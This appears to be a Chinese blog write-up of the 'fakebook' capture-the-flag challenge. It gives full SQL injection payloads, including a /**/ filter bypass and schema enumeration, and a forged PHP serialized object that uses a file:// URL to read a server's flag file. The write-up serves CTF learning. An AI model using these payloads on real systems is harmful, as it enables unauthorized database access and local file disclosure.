fakebook（攻防世界）（正则+robots+sql+绕过）

ゞ浴缸里的玫瑰 2023-10-02 13:50 19阅读 0赞

# fakebook（攻防世界） #

1）

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16][]

2）扫描下可以找到有robots.txt

![9b00474544ea4066b6d3688b401f0532.jpg][]

3)输入/user.php.bak发现一个PHP文本，是说创建user然后从url里get信息，同时blog有一个正则匹配，需要有https://（可有可无），然后是数字和字符，加一个. 然后是2-6个字母

![2b3254cd1dee41c191cad899d1dad5f8.jpg][]

4）创建个用户，主要注意blog

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_19_color_FFFFFF_t_70_g_se_x_16][]

5）注册成功返回

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16 1][]

6）点开aaa

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16 2][]

7）url中有no=1，尝试or'1'='1注入，存在注入后

order by 4#

8)只有列为4不报错，存在4个字段

/**/union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata #

9）查看数据库，发现union select被过滤了，/\*\*/可以绕过，获取到数据库：

fakebook,information\_schema,mysql,performance\_schema,test

10）查看表名，只有一个表：users

/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#

11）获取字段

/**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema="fakebook"#

12）在几个字段里面，获取data的数据

/**/union/**/select 1,group_concat(data),3,4 from users#

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16 3][]

13）发现我们注册信息被序列化，看了一下网上的wp，发现他们在扫描目录的时候，有一个flag.php在/var/www/html里面，构造反序列化语句

14）采用构造file协议去读取/var/www/html/flag.php的内容（file协议主要用于访问计算机本地文件，基本格式为：file:///文件路径）

/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"aaa";s:3:"age";i:14;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16 4][]

15）打开源代码

![fafadc1594eb4d77b542866cfe90d5aa.jpg][]

16）直接点一下（或者把base64后的进行base64解码）

![f71037914f814ef6889c3c2f24a80b83.jpg][]

#  #

[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16]: https://img-blog.csdnimg.cn/fa566d24fbf344b8ae10af53c1c26bea.jpg?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTU3OTM3NTk=,size_20,color_FFFFFF,t_70,g_se,x_16
[9b00474544ea4066b6d3688b401f0532.jpg]: https://img-blog.csdnimg.cn/9b00474544ea4066b6d3688b401f0532.jpg
[2b3254cd1dee41c191cad899d1dad5f8.jpg]: https://img-blog.csdnimg.cn/2b3254cd1dee41c191cad899d1dad5f8.jpg
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_19_color_FFFFFF_t_70_g_se_x_16]: https://img-blog.csdnimg.cn/61b8a7cfcbad44d89a9a809166ff49ec.jpg?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTU3OTM3NTk=,size_19,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16 1]: https://img-blog.csdnimg.cn/af83b4f721c145e0a1ea772108ff2304.jpg?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTU3OTM3NTk=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16 2]: https://img-blog.csdnimg.cn/450da92186ad47b09cc8749c17849f69.jpg?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTU3OTM3NTk=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16 3]: https://img-blog.csdnimg.cn/415b1036463b40c5a7e53a798f9d4e57.jpg?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTU3OTM3NTk=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16 4]: https://img-blog.csdnimg.cn/58c66175117e46adac41afd6f912cc80.jpg?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTU3OTM3NTk=,size_20,color_FFFFFF,t_70,g_se,x_16
[fafadc1594eb4d77b542866cfe90d5aa.jpg]: https://img-blog.csdnimg.cn/fafadc1594eb4d77b542866cfe90d5aa.jpg
[f71037914f814ef6889c3c2f24a80b83.jpg]: https://img-blog.csdnimg.cn/f71037914f814ef6889c3c2f24a80b83.jpg